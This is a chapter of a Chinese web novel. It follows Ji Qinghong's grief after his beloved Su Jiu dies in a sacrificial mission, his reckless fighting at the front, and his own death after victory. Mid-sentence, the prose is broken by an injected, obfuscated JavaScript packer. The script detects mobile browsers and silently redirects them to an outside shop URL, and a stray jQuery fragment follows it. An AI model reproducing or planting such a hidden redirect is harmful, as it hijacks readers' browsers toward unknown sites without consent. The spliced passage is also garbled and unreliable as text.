在发现有人在汇合地点等待后,季卿鸿只听到耳边骤然炸裂的嗡鸣。
不是自己心心念念的身影,陌生的让他恐惧。
仅存的下意识让他艰难地分辨对面的来意,知道这人是专门来取自己手中名单时,曾经察觉到的一切异样也终于得到解释。
她的纵容,还有从不愿轻易许下的诺,就连诱饵也是将他引开的骗局。
季卿鸿从未觉得海城的冬天这么难熬,连黎明前的黑夜也被拉扯得如此漫长。
身上也早就被不知道什么时候飘起的雪花打湿,可男人仍无知无觉,远处的骚乱仍在继续,漫天的大火逐渐被扑灭,却也没法引起他去注意分毫。
大概是不敢去,亦是不愿去赌那个一直在脑海中盘旋的可能性。
就算真的板上钉钉,他也想要祈求奇迹的出现。
这大抵是今年海城最后的一场雪,逐渐回暖的温度没法使雨水凝结。
落在他肩膀上,眨眼间就能化成一滴水珠,即便如此,他还是抱着最后那点为不可察的奢望,等着她能突然从自己背后出现,吓他一跳。
或者笑着戏弄他也好,告诉他,只是坏心眼地想看他什么反应。
只是季卿鸿到最后也没能等到。
浑浑噩噩地回到她的家里,蓦地瞥到水池中的三个碗,本是美好祝愿的东西,在此刻竟如此刺眼,也让他恍然发觉。
原来她没吃那碗属于她的长寿面。
原来她早就没打算再回来。
什么生日,大概也是哄着自己玩的。
他已经不愿去回想,不愿意去相信她的话了。
男人窝在她的床上,和着自己身上凛冽的冷意,闻着上面属于她那道独特的清甜香气,却一滴泪也流不出了。
那种没用的东西,也只有苏玖在时,可以用作示弱,也是让她心软哪怕一瞬的道具,但此时却没有半点用。
季卿鸿知道,不管再怎么哭的撕心裂肺,这个薄情的女人也不会回来看他。
就算真的有什么反应,大概也只是勾着那抹玩味的笑意,说他哭的可真是狼狈。
心脏一直在疼,像是吞了许多把刀子,扎得他鲜血淋漓,但季卿鸿却控制不住地逼迫自己,在这个全是她生活痕迹的地方,自虐般地,去忆起跟她的那些经历。
直到最后却发现,他们认识的时间太短了。
短到只有两个多月。
短到不够支撑自己熬过这个没有她的冬天。
曾经他从未想过有个人可以让他动情至此。
小小房间的初见,却是一眼万年。
那些接着嬉笑怒骂才能宣之于口的爱意,此刻却成了凌迟他的凶器,只能让他在漫长的时光里熬着,忍受无尽的苦楚。
离别为什么总是措不及防,季卿鸿本想着,等他们都老了,自己再悄悄告诉已经变成老婆子的她,因为那个时候这人就不能随便甩掉自己好去找新欢了,也不怕她骄傲。
可是直到她不告而别,季卿鸿都不曾将这个在梦里幻想了无数次的情景说出口,往后亦是没有了实现的机会。
在成衣店门口的那晚,是他的指尖融化了苏玖头顶的那抹白,淋雪的人始终只有自己。
季卿鸿浑浑噩噩地过了不知几天,那扇尘封的门蓦地被推开。
不是他想见的人,却是那人放在心尖上的人。
玉兰哭红了眼眶,而原本长长的辫子,此刻也变成了齐肩短发。
见到颓废到几乎让人认不出的男人,她没说一句多余的话,只将苏玖曾收好的那些信带了过来,放在了桌上,“这些是姐姐要我带给你的。”
听到这话,季卿鸿才舍得动了动眼珠,将视线移到她脸上。
小姑娘好像也长高了许多,原本纯真的眼睛里此刻却多了深沉的仇恨,不是对眼前的自己,而是其他东西。
那些真正把苏玖逼上绝路,选择同归于尽的东西。
“她怎么跟你说的?”季卿鸿缓缓起身,许久未开口,声音哑的不成样子。
纸张被翻动,玉兰没有为他详细解释,也没选择安慰,但还是言简意赅地回了句,“姐姐只在信里说让我把你的东西还你。”
她对季卿鸿的反应没有兴趣,仅仅通知过他,将苏玖的要求办到,便打算离开,去做更重要的事了。
欠债还钱,杀人偿命。
她会按照苏玖曾教导的,像她所做的那样,将这片满是阴霾的天空捅出个窟窿,让人们得以见到光明。
与那些人不死不休。
苏玖不仅给玉兰留了信,也给他留了短短的话。
只是仍旧如她往日的风格,任性地做完事情,再通知自己一声而已。
叫他好好活下去,替她看一看太平盛世。
真是一个自私的骗子,一个武断专横的骗子。
不听他说的话,一味地用命令约束他的骗子。
自己选择为了理想付出全部,连性命都搭上的人,还妄图用那些破烂纸片给他当作念想。
季卿鸿感觉视线逐渐模糊,揉皱的信纸被打湿,被她亲笔写下的乖字也被晕染出花枝,向外伸展。
这人怎么如此狠心,就算抛下他,却还想让他乖乖听话。
那些被一一收好的信件,皆是出自他手笔,可上面空白的地方此刻却多了些娟秀的批注。
男人慢慢地读着,从她生气的吐槽,到后面对他肉麻诗的回应。
仿佛是一场隔了时空的对话,让他沉浸在过去轮回了一次又一次,而属于她的鲜妍面容,亦在他脑海里浮现。
其中一句让他久久移不开眼。
是他们还没经历那么多之前,自己闹脾气般地问她:你到底把我当什么?
苏玖的回答是:不知道,但我只知道,自己从未后悔遇见你。
从未认真提到的感情,在她一句句回答中透露出来。
在她死后,她才愿意让自己知晓。
多狠心啊。
……
春天悄悄的来了,他始终都没等到那个骗子。
按照她留下的信所说的,他会替她看到胜利那天,会帮助她完成最后的梦想。
季卿鸿沉默的坐上前往前线的车,自从确认她真的牺牲后,他便再也没有过其他多余的表情。
小陆也养好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635533|185871||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了伤,此刻陪在他身侧。
他听说了前阵子的动乱,虽然只有模糊信息,可见了自家少爷的模样,便知道了真相。
前线因为他们传递的情报,在僵持的颓势中找到了生机,战局也逐渐逆转。
等他们到达时,敌人仍在负隅顽抗。
就算胜利的天平倾斜,百足之虫却也不是好对付的。
但因为季家原本的底蕴,季卿鸿的经验,还有他完全不管损失的疯子打法,在短短几场战役里,就狠狠把对面扯下一大块肉。
尽管小陆时常劝阻他,跟他说不需要那么拼,毕竟他们胜券在握,可男人怎么都不听,依旧我行我素。
原本就确定下来的局势也因为他加快了许多进程。
玉兰也早早将学校里教的东西学会,跟着孤儿院的那个孩子一起上了战场,做了童子兵。
凭借她的能力,很快立下许多功劳。
偶尔听到另一边有个完全不顾自己性命的领头,心中便猜测会是季卿鸿,较着劲似的,暗中努力着。
那种不要命的打法本就会迅速消耗心力,再加上季卿鸿受了伤也不在意,把子弹取出来就又冲上去,让他的身体迅速地垮了下去。
即将宣布胜利之前的一场战斗里,他被打中腰部,没有醒来,被送到后方抢救。
就这样昏迷了很多天,小陆一直在他身旁看护着,直到前方传来彻底解放的消息,季卿鸿像是有所感觉的睁开了眼。
耳边是自己笨蛋副手叫嚷的声音,一会说老天开眼,一边说他终于醒过来了,前面的仗也打赢了,真是双喜临门。
然后赶快跑出去喊医生来查看情况。
病房里恢复了寂静。
季卿鸿却觉得头格外沉重,被毫不留情消耗的身体也算是强弩之末,怕是难以支撑他这次睡下去后再次醒来。
没了麻药的影响,每个骨头缝里都是尘封等待爆发的痛意。
他却笑了。
唇角的弧度格外得意,像是用手段得到糖果的小孩子。
这样,便算实现了她的愿望吧。
一个小小的信,怎么可能将他困住,又怎么能将他困在这个没有她的世界一辈子。
他受不住的,自然没有撑下去的念头。
早早就把后事交代清楚,让周围的人知道,即便他突然有个什么意外,也不会慌乱。
就算没了自己,时间也依旧会流逝,地球也会转动。
也是在此刻,他那原本被冻结的生命才融化,随着逐渐消逝的体温流淌。
男人眯着浑浊的眼看向窗外,干枯的树枝抽出新芽,小小的一方窗户上倒映着春色,一副生机勃勃。
这里的春色来了,他也要随着自己的春色去了。
他本就是世间一缕轻鸿,又岂会在此过多停留。
弥留之际,他的眼前好像又浮现昔日那人殷红的唇瓣,不知是不是被那方小小的红盖头映照出来的,格外真切动人。
只见她唇瓣微启,悠扬悲戚的曲调便被娓娓道来。
妾随大王……
季卿鸿笑着,唇瓣开合。
生死无悔。